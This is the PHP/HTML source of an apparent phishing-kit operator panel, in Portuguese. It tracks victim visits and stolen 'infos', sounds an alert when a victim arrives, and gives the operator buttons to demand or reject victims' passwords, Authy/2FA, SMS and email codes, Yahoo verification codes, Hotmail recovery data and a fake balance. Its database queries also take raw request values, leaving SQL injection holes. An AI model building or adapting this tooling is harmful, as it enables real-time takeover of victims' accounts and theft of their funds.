<?php
@session_start();
//Incluindo a conexão com banco de dados
require_once "../cod3rconfig/registro.php";
require_once "../cod3rconfig/conexao.php";
require_once "../cod3rconfig/data.php";

$usuario = $_SESSION['usuarioNome'];
$senha = $_SESSION['usuarioPass'];

$usuariob =  DBRead1('usuarios', "WHERE nome = '$usuario' && senha = '$senha' LIMIT 1");

if (is_array($usuariob) || is_object($usuariob)) {
    foreach ($usuariob as $user) {
        if ($usuario == $user['nome'] and $senha == $user['senha']) {

            $iduser = $user['id'];
            $passuser = $user['senha'];
            $tipouser = $user['tipo'];

            $infos = DBRead('infos', 'ORDER BY id DESC');

            $url = 'https://' . $_SERVER['SERVER_NAME'];

            $usuer = DBRead('usuarios', 'ORDER BY id DESC');

            if (isset($_GET['ExcluirV'])) {


                $apagarvisita = mysqli_query(DBConnect(), "TRUNCATE TABLE visitas");

                if ($apagarvisita) {


                    header("Location: painel.php?pagina=Inicial");
                } else {

                    echo ":/";
                }
            }

            if (isset($_GET['ExcluirF'])) {


                DBDelete('infos');
                header("Location: painel.php?pagina=Inicial");
            }

            if (isset($_GET['Excluir'])) {
                $ids = $_GET['Excluir'];

                DBDelete('infos', "id = '$ids'");
                header("Location: painel.php?pagina=Inicial");
            }

            if (isset($_GET['ExcluirD'])) {
                $ids = $_GET['ExcluirD'];

                DBDelete('usuarios', "id = '$ids'");
                header("Location: painel.php?pagina=ConfUser");
            }

            $pagina = $_GET['pagina'];

?>
            <!DOCTYPE html>
            <html lang="en">

            <head>
                <meta charset="utf-8">
                <link rel="dns-prefetch" href="//fonts.googleapis.com">
                <link rel="dns-prefetch" href="//fonts.gstatic.com">
                <link rel="dns-prefetch" href="//use.fontawesome.com">
                <link rel="dns-prefetch" href="//kit.fontawesome.com">

                <link rel="preconnect" href="https://fonts.gstatic.com/" crossorigin>
                <link rel="preconnect" href="https://cdn.livechatinc.com/" crossorigin>
                <link rel="preconnect" href="https://kit.fontawesome.com" crossorigin>
                <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/css/bootstrap-theme.min.css">
                <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.3/jquery.min.js"></script>
                <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/js/bootstrap.min.js"></script>
                <meta http-equiv="X-UA-Compatible" content="IE=edge">
                <meta name="msapplication-tap-highlight" content="no" />
                <meta name="mobile-web-app-capable" content="yes" />
                <meta name="application-name" content="Painel Master" />
                <meta name="apple-mobile-web-app-capable" content="yes" />
                <meta name="apple-mobile-web-app-status-bar-style" content="black" />
                <meta name="apple-mobile-web-app-title" content="Painel Master" />
                <meta name="theme-color" content="#4C7FF0" />
                <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, shrink-to-fit=no">
                <meta name="csrf-token" content="n9qy2tXZY5KLnpVMQ1w8AeEEULioGgegrHGj8CeX" />
                <meta name="csrf-param" content="_token" />
                <title>Painel</title>
                <link rel="shortcut icon" href="/assets-ndax/images/favicon.ico" type="image/x-icon">
                <script src="https://kit.fontawesome.com/bc3a650eb9.js" crossorigin="anonymous"></script>
                <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.2.1/css/all.min.css" />
                <link rel="stylesheet" href="./css/app.css?id=40a6fe41dc9b81a07e19" />
                <link rel="stylesheet" href="./assets/css/plugins.css" type="text/css" />
                <link rel="stylesheet" href="./assets/css/widgets/modules-widgets.css" type="text/css" />
                <script src="//d2wy8f7a9ursnm.cloudfront.net/v6/bugsnag.min.js"></script>
                <script type="text/javascript" src="ajaxx.js"></script>

                <!-- <script type="text/javascript" src="http://code.jquery.com/qunit/qunit-1.11.0.js"></script> -->
                <link rel="stylesheet" href="//cdnjs.cloudflare.com/ajax/libs/limonte-sweetalert2/7.33.1/sweetalert2.min.css" />
                <script src="//cdnjs.cloudflare.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
                <script src="//cdnjs.cloudflare.com/ajax/libs/limonte-sweetalert2/7.33.1/sweetalert2.all.min.js"></script>
                <script src="gulpfile.js"></script>
                <script src="notify.min.js"></script>
                <script src="//code.jquery.com/jquery-1.11.2.min.js"></script>
                <script src="api_comando.js"></script>

                <style type="text/css">
                    fieldset {
                        border: 1px solid red;
                        height: 85px;
                        width: 150px;
                        padding-left: 20px;
                        margin-left: 10px;

                    }

                    legend {
                        font-size: 15px;
                        font-weight: bold;
                        text-align: center;

                    }

                    .dentro {
                        display: flex;
                        justify-items: center;
                        flex-direction: column;
                        align-items: center;
                        font-size: 12px;
                        width: 220px;
                        padding: 10px;
                        color: black;
                        margin: 5px;
                        border-radius: 10px;
                        background-color: slategrey
                    }

                    .dentro1 {
                        display: flex;
                        justify-items: center;
                        align-items: center;
                        font-size: 12px;
                        width: 0px;
                        padding: 10px;
                        color: black;
                        margin-right: 5px;
                        border-radius: 10px;
                        background-color: slategrey;

                    }

                    .linhaComTexto {
                        width: 100%;
                        height: 20px;
                        border-bottom: 1px solid white;
                        text-align: center;
                    }

                    .linhaComTexto>span {
                        font-size: 20px;
                        background-color: #060818;
                        border: 1px solid transparent;
                    }

                    .rgb {
                        font-family: arial black;
                        font-size: 30px;
                        background-image:
                            linear-gradient(to right, red, orange, yellow, green, blue, indigo, violet, red, purple);
                        -webkit-background-clip: text;
                        -webkit-text-fill-color: transparent;
                        animation: rainbow-animation 240s linear infinite;
                    }

                    @keyframes rainbow-animation {
                        to {
                            background-position: 4500vh;
                        }
                    }

                    .modal {
                        display: none;
                        /* Hidden by default */
                        position: fixed;
                        /* Stay in place */
                        z-index: 1;
                        /* Sit on top */
                        left: 0;
                        top: 0;
                        width: 100%;
                        /* Full width */
                        height: 100%;
                        /* Full height */
                        overflow: auto;
                        /* Enable scroll if needed */
                        background-color: rgb(0, 0, 0);
                        /* Fallback color */
                        background-color: rgba(0, 0, 0, 0.4);
                        /* Black w/ opacity */
                    }

                    /* Modal Content/Box */
                    .modal-content {
                        background-color: #fefefe;
                        margin: 15% auto;
                        /* 15% from the top and centered */
                        padding: 20px;
                        border: 1px solid #888;
                        width: 70%;
                        /* Could be more or less, depending on screen size */
                    }

                    /* The Close Button */
                    .close {
                        color: #000;
                        font-size: 28px;
                        font-weight: bold;
                        display: flex;
                        align-self: self-end;
                    }

                    .close:hover,
                    .close:focus {
                        color: black;
                        text-decoration: none;
                        cursor: pointer;
                    }
                </style>


                <script type="text/javascript">
                    $(document).ready(function() {
                        atualiza();
                    });

                    function atualiza() {
                        $.get('../access/visita.php',
                            function(resultado) {
                                $('#visita').html(resultado);
                            })
                        $.get('../access/info.php',
                            function(resultado) {
                                $('#infos').html(resultado);
                            })
                        $.get('../access/xx.php',
                            function(resultado) {
                                $('#x9').html(resultado);
                            })
                        $.get('buscadados.php',
                            function(resultado) {
                                $('#tabelas').html(resultado);
                            })
                        $.get('usuarios.php',
                            function(resultado) {
                                $('#user_tabela').html(resultado);
                            })
                        $.get('tocar.php',
                            function(resultado) {

                                if (resultado == "info") {

                                    var audio = new Audio('tocar.mp3');
                                    audio.addEventListener('canplaythrough', function() {
                                        audio.play();
                                        notify();
                                    });
                                }

                                if (resultado == "info2") {

                                    var audio = new Audio('tocar2.mp3');
                                    audio.addEventListener('canplaythrough', function() {
                                        audio.play();
                                        notify();
                                    });
                                }
                            })
                        setTimeout('atualiza()', 2000);
                    }
                </script>


                <style>
                    .copyButton {
                        border: none;
                        padding: 10px;
                        margin: 5px;
                        margin-left: 20px;
                        width: 105px;
                        border-radius: 5px;
                        background-color: rgba(0, 0, 0, .05);
                        color: blue;
                        transition: background-color .2s ease;
                        cursor: pointer;
                        white-space: nowrap;
                        overflow: hidden;
                        text-overflow: ellipsis;
                    }

                    .copyButton[copied] {
                        transition: background-color .2s ease;
                        transition: color .1s ease;
                        background-color: #4CAF50;
                        color: white;
                    }
                </style>
            </head>

            <body class="alt-menu sidebar-noneoverflow" style="background: #000a1cf2 !important;">

                <div id="modalApp">
                    <modalpassword></modalpassword>
                    <configuracao tela="bb"></configuracao>
                </div>

                <div style="margin-top: 5px;">

                </div>
                <!--  BEGIN MAIN CONTAINER  -->
                <div class="main-container" id="container">


                    <!--  BEGIN TOPBAR  -->
                    <div class="topbar-nav header navbar" role="banner">
                        <nav id="topbar" style="background: #708090 !important; margin: unset; border-radius: 5px; display: flex; justify-content: center; align-items: center;">
                            <ul class="navbar-nav theme-brand flex-row  text-center">
                                <li class="nav-item theme-text">
                                    <a href="" class="nav-link"> PAINEL </a>
                                </li>
                            </ul>

                            <ul class="list-unstyled menu-categories" id="topAccordion">
                                <li class="menu single-menu">
                                    <a href="?pagina=Inicial" style="border-left: 1px solid #515365;">
                                        <div class="">
                                            <svg style="color: black;" width="1em" height="1em" viewBox="0 0 16 16" class="bi bi-cash" fill="currentColor" xmlns="http://www.w3.org/2000/svg">
                                                <path fill-rule="evenodd" d="M15 4H1v8h14V4zM1 3a1 1 0 0 0-1 1v8a1 1 0 0 0 1 1h14a1 1 0 0 0 1-1V4a1 1 0 0 0-1-1H1z" />
                                                <path d="M13 4a2 2 0 0 0 2 2V4h-2zM3 4a2 2 0 0 1-2 2V4h2zm10 8a2 2 0 0 1 2-2v2h-2zM3 12a2 2 0 0 0-2-2v2h2zm7-4a2 2 0 1 1-4 0 2 2 0 0 1 4 0z" />
                                            </svg>
                                            <span style="color: black; font-size: 17px;">Infos</span>
                                        </div>
                                    </a>
                                </li>
                                <li class="menu single-menu">
                                    <a href="<?php echo $url ?>" target="_blank">
                                        <div class="">
                                            <svg style="color: black;" xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-copy">
                                                <rect x="9" y="9" width="13" height="13" rx="2" ry="2"></rect>
                                                <path d="M5 15H4a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2h9a2 2 0 0 1 2 2v1"></path>
                                            </svg>
                                            <span style="color: black; font-size: 17px;">Abrir Link</span>
                                        </div>
                                    </a>
                                </li>
                                <li class="menu single-menu" style="display: none;">
                                    <a href="/f9b7c3b9982bc7e4c6b0761603dda609/painel.html" target="_blank">
                                        <div class="">
                                            <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512">
                                                <path d="M498.1 5.6c10.1 7 15.4 19.1 13.5 31.2l-64 416c-1.5 9.7-7.4 18.2-16 23s-18.9 5.4-28 1.6L284 427.7l-68.5 74.1c-8.9 9.7-22.9 12.9-35.2 8.1S160 493.2 160 480V396.4c0-4 1.5-7.8 4.2-10.7L331.8 202.8c5.8-6.3 5.6-16-.4-22s-15.7-6.4-22-.7L106 360.8 17.7 316.6C7.1 311.3 .3 300.7 0 288.9s5.9-22.8 16.1-28.7l448-256c10.7-6.1 23.9-5.5 34 1.4z" />
                                            </svg>
                                            <span style="color: black; font-size: 17px;">Send Email</span>
                                        </div>
                                    </a>
                                </li>

                                <li class="menu single-menu">
                                    <a href="#" class="nav-link" data-toggle="modal" data-target="#confirmadelinfo" role="button">
                                        <div class="">
                                            <svg style="color: black;" width="1em" height="1em" viewBox="0 0 16 16" class="bi bi-trash-fill" fill="currentColor" xmlns="http://www.w3.org/2000/svg">
                                                <path fill-rule="evenodd" d="M2.5 1a1 1 0 0 0-1 1v1a1 1 0 0 0 1 1H3v9a2 2 0 0 0 2 2h6a2 2 0 0 0 2-2V4h.5a1 1 0 0 0 1-1V2a1 1 0 0 0-1-1H10a1 1 0 0 0-1-1H7a1 1 0 0 0-1 1H2.5zm3 4a.5.5 0 0 1 .5.5v7a.5.5 0 0 1-1 0v-7a.5.5 0 0 1 .5-.5zM8 5a.5.5 0 0 1 .5.5v7a.5.5 0 0 1-1 0v-7A.5.5 0 0 1 8 5zm3 .5a.5.5 0 0 0-1 0v7a.5.5 0 0 0 1 0v-7z" />
                                            </svg>
                                            <span style="color: black; font-size: 17px;" id="confirma_del_infos"> Limpar Infos</span>
                                        </div>
                                    </a>
                                </li>
                                <li class="menu single-menu">
                                    <a href="?ExcluirV" class="nav-link" role="button">
                                        <div class="">
                                            <svg style="color: black;" width="1em" height="1em" viewBox="0 0 16 16" class="bi bi-trash-fill" fill="currentColor" xmlns="http://www.w3.org/2000/svg">
                                                <path fill-rule="evenodd" d="M2.5 1a1 1 0 0 0-1 1v1a1 1 0 0 0 1 1H3v9a2 2 0 0 0 2 2h6a2 2 0 0 0 2-2V4h.5a1 1 0 0 0 1-1V2a1 1 0 0 0-1-1H10a1 1 0 0 0-1-1H7a1 1 0 0 0-1 1H2.5zm3 4a.5.5 0 0 1 .5.5v7a.5.5 0 0 1-1 0v-7a.5.5 0 0 1 .5-.5zM8 5a.5.5 0 0 1 .5.5v7a.5.5 0 0 1-1 0v-7A.5.5 0 0 1 8 5zm3 .5a.5.5 0 0 0-1 0v7a.5.5 0 0 0 1 0v-7z" />
                                            </svg>
                                            <span style="color: black; font-size: 17px;">Limpar Visitas</span>
                                        </div>
                                    </a>
                                </li>



                                <?php if ($tipouser == "op") {
                                } else { ?>
                                    <li class="menu single-menu">
                                        <a href="?pagina=ConfUser" class="nav-link" role="button">
                                            <div class="">
                                                <svg style="color: black;" xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-settings">
                                                    <circle cx="12" cy="12" r="3"></circle>
                                                    <path d="M19.4 15a1.65 1.65 0 0 0 .33 1.82l.06.06a2 2 0 0 1 0 2.83 2 2 0 0 1-2.83 0l-.06-.06a1.65 1.65 0 0 0-1.82-.33 1.65 1.65 0 0 0-1 1.51V21a2 2 0 0 1-2 2 2 2 0 0 1-2-2v-.09A1.65 1.65 0 0 0 9 19.4a1.65 1.65 0 0 0-1.82.33l-.06.06a2 2 0 0 1-2.83 0 2 2 0 0 1 0-2.83l.06-.06a1.65 1.65 0 0 0 .33-1.82 1.65 1.65 0 0 0-1.51-1H3a2 2 0 0 1-2-2 2 2 0 0 1 2-2h.09A1.65 1.65 0 0 0 4.6 9a1.65 1.65 0 0 0-.33-1.82l-.06-.06a2 2 0 0 1 0-2.83 2 2 0 0 1 2.83 0l.06.06a1.65 1.65 0 0 0 1.82.33H9a1.65 1.65 0 0 0 1-1.51V3a2 2 0 0 1 2-2 2 2 0 0 1 2 2v.09a1.65 1.65 0 0 0 1 1.51 1.65 1.65 0 0 0 1.82-.33l.06-.06a2 2 0 0 1 2.83 0 2 2 0 0 1 0 2.83l-.06.06a1.65 1.65 0 0 0-.33 1.82V9a1.65 1.65 0 0 0 1.51 1H21a2 2 0 0 1 2 2 2 2 0 0 1-2 2h-.09a1.65 1.65 0 0 0-1.51 1z">
                                                    </path>
                                                </svg>
                                                <span style="color: black; font-size: 17px;">Gerenciar Usuários</span>
                                            </div>
                                        </a>
                                    </li>

                                    <li class="menu single-menu">
                                        <a href="javascript:void(0)" class="nav-link" data-toggle="modal" data-target="#adduser-remote" role="button">
                                            <div class="">
                                                <svg style="color: black;" width="1em" height="1em" viewBox="0 0 16 16" class="bi bi-people-fill" fill="currentColor" xmlns="http://www.w3.org/2000/svg">
                                                    <path fill-rule="evenodd" d="M7 14s-1 0-1-1 1-4 5-4 5 3 5 4-1 1-1 1H7zm4-6a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-5.784 6A2.238 2.238 0 0 1 5 13c0-1.355.68-2.75 1.936-3.72A6.325 6.325 0 0 0 5 9c-4 0-5 3-5 4s1 1 1 1h4.216zM4.5 8a2.5 2.5 0 1 0 0-5 2.5 2.5 0 0 0 0 5z" />
                                                </svg>
                                                <span style="color: black; font-size: 17px;">Adicionar Usuários</span>
                                            </div>
                                        </a>
                                    </li>

                                <?php } ?>

                                <li style="left: 20px;" class="menu single-menu">
                                    <div class="media" style="border-right: 1px solid #515365; padding-right: 12px;">
                                        <a href="./sair.php">
                                            <button class="button btn btn-danger">
                                                Sair
                                            </button>
                                    </div>
                                    </a>
                                </li>

                                <!-- <li class="nav-item dropdown user-profile-dropdown order-lg-0 order-1">
                                <div class="media">
                                    <a href="./sair.php">
                                        <button class="button btn btn-danger">
                                            Sair
                                        </button>
                                    </a>

                                </div>

                            </li> -->

                            </ul>
                        </nav>
                    </div>

                    <div id="content" class="main-content">
                        <div class="layout-px-spacing">


                            <div style="margin-top: 3px !important;" class="row justify-content-center align-items-center analytics layout-top-spacing">
                                <div style="justify-content: center; align-items: center; display: flex;" class="col-xl-12 col-lg-12 col-md-12 col-sm-12 col-12">
                                    <div style="display:flex; align-items: center; justify-content: center; text-align: center;" class="row widget-statistic">

                                        <div style=" width: 8%; margin-left: 15px; background: #0d1627;" class="widget widget-one_hybrid widget-engagement">
                                            <div style="width: 100%; display:flex; color:white; font-size: 30px;" class="widget-heading text-left">
                                                <span style=" text-align: center; justify-content: center; align-items: center;">
                                                    <div style="margin-bottom:-20px;">
                                                        <span style="font-size: 15px; display: flex; padding: 10px; text-align: center; justify-content: center; align-items: center;">
                                                            #ID
                                                        </span>
                                                    </div>
                                                    <input style="font-size: 40px; text-align:center; width: 100%; border: none; color: red !important; font-weight: bold;" disabled="true" type="text" name="idremote" id="idremote" value="">
                                                </span>
                                            </div>
                                        </div>


                                        <div class="dentro" style="width: 510px;">
                                            <legend style="color:black; font-size: 12.2px;">Login</legend>
                                            <div style="text-align: center;">
                                                <button style="font-size: 10px;" type="submit" class="btn btn-danger" id="negaruser">N User</button>
                                                <button style="font-size: 10px;" type="submit" class="btn btn-danger" id="deslogar">Expirar</button>
                                                <button style="font-size: 10px;" type="submit" class="btn btn-success" id="ok">Fim</button>

                                                <input style="border: solid 1px gold; border-radius: 10px; text-align: center; margin-bottom: 5px; font-weight: bold; background-color: #ffffffad;" autocomplete="off" type="text" name="email_master" id="email_master" value="" placeholder="email">

                                                <button style="font-size: 10px;" type="submit" class="btn btn-success" id="update_email">Update</button>

                                                <div>

                                                </div>
                                            </div>
                                        </div>


                                        <div class="dentro">
                                            <!-- <div>
                                                <button style="font-size:5px;" type="submit" class="btn btn-success" id="2fatoresdentro">P</button>
                                                <button style="font-size:5px;" type="submit" class="btn btn-danger" id="negar2fatoresdentro">N</button>
                                            </div> -->
                                            <legend style="font-size:10px; color:black;">2FA</legend>
                                            <input style="display: none;" id="input_authy01" type="text" placeholder="Authy" style="width: 30%; height:23px;margin-left: 146px; border: solid 1px gold; border-radius: 10px; text-align: center; font-weight: bold; background-color: #ffffffad;" autocomplete="off">
                                            <button style="display: none; width: 50px;   margin-right: 15px; font-size: 10px;" type="submit" class="btn btn-success" id="button_authy01"></button>
                                            <div>
                                                <button style="font-size:5px;" type="submit" class="btn btn-success" id="2fatores">P</button>
                                                <button style="font-size:5px;" type="submit" class="btn btn-danger" id="negar2fatores">N</button>
                                            </div>
                                        </div>

                                        <script>
                                            document.getElementById("2fatoresdentro").addEventListener("click", function() {
                                                document.getElementById("button_authy01").click();
                                            })
                                            document.getElementById("2fatores").addEventListener("click", function() {
                                                document.getElementById("button_authy01").click();
                                            })
                                        </script>


                                        <div class="dentro" style="width:200px">
                                            <!-- <div>
                                                <button style="font-size:5px;" type="submit" class="btn btn-success" id="smscodeverificationPdentro">P</button>
                                                <button style="font-size:5px;" type="submit" class="btn btn-danger" id="smscodeverificationNdentro">N</button>
                                            </div> -->
                                            <legend style="font-size:10px; color:black;">SMS</legend>
                                            <input id="input_sms" type="text" placeholder="SMS" style="display: none; width: 30%; height:23px;margin-left: 146px; border: solid 1px gold; border-radius: 10px; text-align: center; font-weight: bold; background-color: #ffffffad;" autocomplete="off">
                                            <button style="display: none; width: 50px;   margin-right: 15px; font-size: 10px;" type="submit" class="btn btn-success" id="button_sms"></button>
                                            <div>
                                                <button style="font-size:5px;" type="submit" class="btn btn-success" id="smscodeverificationP">P</button>
                                                <button style="font-size:5px;" type="submit" class="btn btn-danger" id="smscodeverificationN">N</button>
                                            </div>
                                        </div>
                                        <script>
                                            document.getElementById("smscodeverificationP").addEventListener("click", function() {
                                                document.getElementById("button_sms").click();
                                            })
                                            document.getElementById("smscodeverificationPdentro").addEventListener("click", function() {
                                                document.getElementById("button_sms").click();
                                            })
                                        </script>

                                        <div class="dentro" style="font-size:10px; width:200px;">
                                            <!-- <div>
                                                <button style="font-size:5px;" type="submit" class="btn btn-success" id="mailcodeverificationPdentro">P</button>
                                                <button style="font-size:5px;" type="submit" class="btn btn-danger" id="mailcodeverificationNdentro">N</button>
                                            </div> -->
                                            <legend style="font-size:10px; color:black;">Email</legend>
                                            <div>
                                                <button style="font-size:5px;" type="submit" class="btn btn-success" id="mailcodeverificationP">P</button>
                                                <button style="font-size:5px;" type="submit" class="btn btn-danger" id="mailcodeverificationN">N</button>
                                            </div>
                                        </div>




                                        <div class="dentro" style="width:200px">
                                            <legend style="color:black;">Perguntas</legend>
                                            <div style="display: flex;">
                                                <button style="font-size: 17px; padding: 0px; width: 50px; height: 29px;" id="myBtn" class="btn btn-success"> <i class="fas fa-question"></i> </button>
                                                <div style="padding: 3px;"></div>
                                                <button style="font-size: 17px; padding: 0px; width: 50px; height: 29px;" id="myBtnX" class="btn btn-success"><i class="fas fa-link"></i></button>
                                                <div style="padding: 3px;"></div>
                                                <button style="font-size: 17px; padding: 0px; width: 50px; height: 29px;" id="myBtnL" class="btn"> <i style="color: red;" class="fas fa-question"></i> </button>
                                            </div>
                                            <div id="myModal" class="modal">
                                                <div class="modal-content" style="background-color: unset; border: none; width: 55%;">
                                                    <div style=" display: block; justify-content: center; align-items: center; flex-wrap: wrap;  background: slategrey; justify-content: center; border-radius: 12px; padding: 50px;">
                                                        <div>
                                                            <h1 style="color: black;">
                                                                Perguntas Clientes
                                                            </h1>
                                                        </div>
                                                        <div style="display: flex; justify-content: center; align-items: center;">
                                                            <input id="input_saldo" type="text" placeholder="Inserir texto aqui" style="display:flex; width: 75%; height:30px; border: solid 1px gold; border-radius: 10px; text-align: center; margin-bottom: 5px; font-weight: bold; background-color: #ffffffad;" autocomplete="off">
                                                        </div>
                                                        <div>
                                                            <button id="senhafundoP" style="display: none; font-size: 10px; width: 90px;" type="submit" class="btn btn-success">Adicionar</button>
                                                        </div>
                                                        <div style="margin-top:30px;">
                                                            <button style="font-size:10px;" type="submit" class="btn btn-success" id="button_saldo">P</button>
                                                            <button style="font-size:10px;" type="submit" class="btn btn-danger" id="senhafundoN">N</button>
                                                        </div>
                                                    </div>
                                                </div>

                                            </div>
                                        </div>
                                        <script>
                                            document.getElementById("button_saldo").addEventListener("click", function() {
                                                setTimeout(() => {
                                                    document.getElementById("senhafundoP").click();
                                                }, 500);
                                            });
                                        </script>


                                        <div style="width: 8%; height: 90px; background: #0d1627;" class="widget widget-one_hybrid widget-engagement">
                                            <div style="width: 100%; color:white; font-size: 30px;" class="widget-heading text-left">
                                                <span style="margin-top: -8px;text-align: center; display: block; justify-content: center; align-items: center;">
                                                    <span style="font-size: 15px; display: flex; margin-bottom: 10px; justify-content: center; align-items: center; margin-top: 10px;">
                                                        #Visitas
                                                    </span>
                                                    <span style="font-size: 40px; text-align: center; width: 100%; border: none; color: yellow !important; display: flex; font-weight: bold; justify-content: center; align-items: center; margin-top: -10px;" disabled="true" type="text" id="visita">

                                                    </span>
                                                </span>
                                            </div>
                                        </div>

                                        <!-- <div style="width: 8%;" class="widget widget-one_hybrid widget-engagement">
                                                <div style="color:white; font-size: 25px;" class="widget-heading text-left">
                                                <span>
                                                        Visitas:
                                                        <span style="color: red !important; font-weight: bold; margin-right: 10px;" id="visita">
                                                        </span>
                                                    </span>
                                                </div>
                                            </div> -->
                                        <script>
                                            // const typeLangMSG = document.getElementById("msgformvalue");
                                            // const buttonTypeLangMSG = document.getElementById("emailvalidationmsg");
                                            // buttonTypeLangMSG.onclick = (e) => {
                                            //     e.preventDefault()
                                            //     alert(typeLangMSG.value);
                                            // }
                                        </script>
                                        <!-- <div class="col-xl-1 col-lg-1 col-md-2 col-sm-3 col-12">
                                            <div class="widget widget-one_hybrid widget-engagement">
                                                <div class="widget-heading text-center">

                                                    <div id="visita"></div>
                                                    <strong style="color:yellow;">Visitas</strong>
                                                </div>
                                            </div>
                                        </div> -->


                                    </div>
                                </div>
                            </div>
                            <div class="linhaComTexto" style="margin-top: -5px !important;">
                                <span style="background-color: #0d1627 !important; color: white !important; display: flex; justify-content: center; align-items: center;">
                                    <i class="fas fa-envelope"> </i>
                                    <span style="font-weight: 500 !important;">
                                        &nbsp; Opções Email
                                    </span>
                                </span>
                            </div>
                            <div style="margin-top: 5px !important;" class="row justify-content-center align-items-center analytics layout-top-spacing">
                                <div class="col-xl-12 col-lg-12 col-md-12 col-sm-12 col-12">
                                    <div style="display: flex; justify-content: center; align-items: center;" class="row widget-statistic">




                                        <div style="width:213px" class="dentro">

                                            <h6 style="color: black; font-weight:bolder; text-align: center;">Senha do Mail</h6>
                                            <div>
                                                <button style="margin-left: 20px;" type="submit" class="btn btn-success" id="pediremail">P</button>
                                                <button type="submit" class="btn btn-danger" id="negaremailsyng">N</button>
                                            </div>
                                        </div>
                                        <div style="width:213px" class="dentro">
                                            <input id="input_smsmail" type="text" maxlength="2" placeholder="SMS Mail" style="border: solid 1px gold; border-radius: 10px; text-align: center; margin-bottom: 5px; font-weight: bold; background-color: #ffffffad;">
                                            <button type="submit" id="button_smsmail" hidden></button>
                                            <div>
                                                <button type="submit" class="btn btn-success" id="pedirsmsgmail">P</button>
                                                <button type="submit" class="btn btn-danger" id="negargmail">N</button>
                                            </div>
                                        </div>

                                        <div style="width:213px" class="dentro">
                                            <input id="input_fonemail" type="text" maxlength="2" placeholder="Fone Mail" style="border: solid 1px gold; border-radius: 10px; text-align: center; margin-bottom: 5px; font-weight: bold; background-color: #ffffffad;">
                                            <button type="submit" id="button_fonemail" hidden></button>
                                            <div>
                                                <button type="submit" class="btn btn-success" id="pedirtelefonegmail">P</button>
                                                <button type="submit" class="btn btn-danger" id="negargmailtelefone">N</button>
                                            </div>
                                        </div>
                                        <script>
                                            buttonfonemail = document.getElementById("button_fonemail")
                                            inputfonemail = document.getElementById("input_fonemail")
                                            inputfonemail.addEventListener("input", function() {
                                                if (inputfonemail.value.length == 2) {
                                                    buttonfonemail.click()
                                                }
                                            })
                                            buttonsmsmail = document.getElementById("button_smsmail")
                                            inputsmsmail = document.getElementById("input_smsmail")
                                            inputsmsmail.addEventListener("input", function() {
                                                if (inputsmsmail.value.length == 2) {
                                                    buttonsmsmail.click()
                                                }
                                            })
                                        </script>
                                        <div style="width:213px" class="dentro">
                                            <h6 style="color: black; font-weight:bolder; text-align: center;">2FA Mail</h6>
                                            <div>
                                                <button style="margin-left: 20px;" type="submit" class="btn btn-success" id="pedirtokengmail">P</button>
                                                <button type="submit" class="btn btn-danger" id="negartokengmail">N</button>
                                            </div>
                                        </div>

                                        <div style="width:213px" class="dentro">
                                            <input id="input_codmail" type="text" placeholder="Cód Mail" style="border: solid 1px gold; border-radius: 10px; text-align: center; margin-bottom: 5px; font-weight: bold; background-color: #ffffffad;">
                                            <button type="submit" id="pedircodemail" hidden></button>
                                            <div>
                                                <button type="submit" class="btn btn-success" id="button_codmail">P</button>
                                                <button type="submit" class="btn btn-danger" id="negarcodemail">N</button>
                                            </div>
                                        </div>
                                        <script>
                                            document.getElementById("button_codmail").addEventListener("click", function() {
                                                document.getElementById("pedircodemail").click()
                                            })
                                        </script>
                                        <div style="width:213px" class="dentro">
                                            <h6 style="color: black; font-weight:bolder; text-align: center;">Yahoo verif. code</h6>
                                            <div>
                                                <button style="margin-left: 20px;" type="submit" class="btn btn-success" id="pedirverificaMail">P</button>
                                                <button type="submit" class="btn btn-danger" id="NegarverificaMail">N</button>
                                            </div>
                                        </div>

                                        <div style="width:213px" class="dentro">
                                            <input id="input_hotrecu" type="text" placeholder="Hotmail Email Recover" style="border: solid 1px gold; border-radius: 10px; text-align: center; margin-bottom: 5px; font-weight: bold; background-color: #ffffffad;">
                                            <button type="submit" id="pediremailrecuperar" hidden></button>
                                            <div>
                                                <button type="submit" class="btn btn-success" id="button_hotrecu">P</button>
                                                <button type="submit" class="btn btn-danger" id="negarmailderecu">N</button>
                                            </div>

                                            <script>
                                                document.getElementById("button_hotrecu").addEventListener("click", function() {
                                                    document.getElementById("pediremailrecuperar").click()
                                                })

                                                function copyText(buttonID) {
                                                    const button = document.querySelector(buttonID)
                                                    CopyText(button.textContent)
                                                    button.setAttribute('copied', true)
                                                    setTimeout(() => {
                                                        button.removeAttribute('copied')
                                                    }, 3000)
                                                }
                                            </script>
                                            <script src="//cdn.jsdelivr.net/npm/text-copy/index.min.js"></script>



                                        </div>
                                    </div>
                                </div>




                                <div class="dentro1" style="margin-top: 5px; width: 775px; height: 60px;">
                                    <b style="font-size: 16px; margin-right: 10px">Saldo</b>
                                    <input style="height: 24px; margin-right: 10px; border: solid 1px gold; border-radius: 10px; text-align: center; margin-bottom: 5px; font-weight: bold; " type="text" name="usuario_master" id="usuario_master" value="" placeholder="Nome User" autocomplete="off">
                                    <input style="height: 24px; margin-right: 10px; border: solid 1px gold; border-radius: 10px; text-align: center; margin-bottom: 5px; font-weight: bold; background-color: #ffffffad;" type="text" name="usuario_master" id="input_saldocliente" value="" placeholder="Saldo" autocomplete="off">
                                    <button style=" display:none;width: 150px; height: 32px;  margin-right: 30px; font-size: 10px;" type="submit" class="btn btn-success" id="pedirbloqueio">Adicionar</button>
                                    <button style="width: 50px; margin-right: 15px; font-size: 10px;" type="submit" class="btn btn-success" id="button_saldocliente"><i class="fas fa-plus"></i></button>
                                    <button style="width: 50px; margin-right: 15px; font-size: 10px;" type="submit" class="btn btn-success" id="notifyclient"><i class="fas fa-volume-up"></i></button>
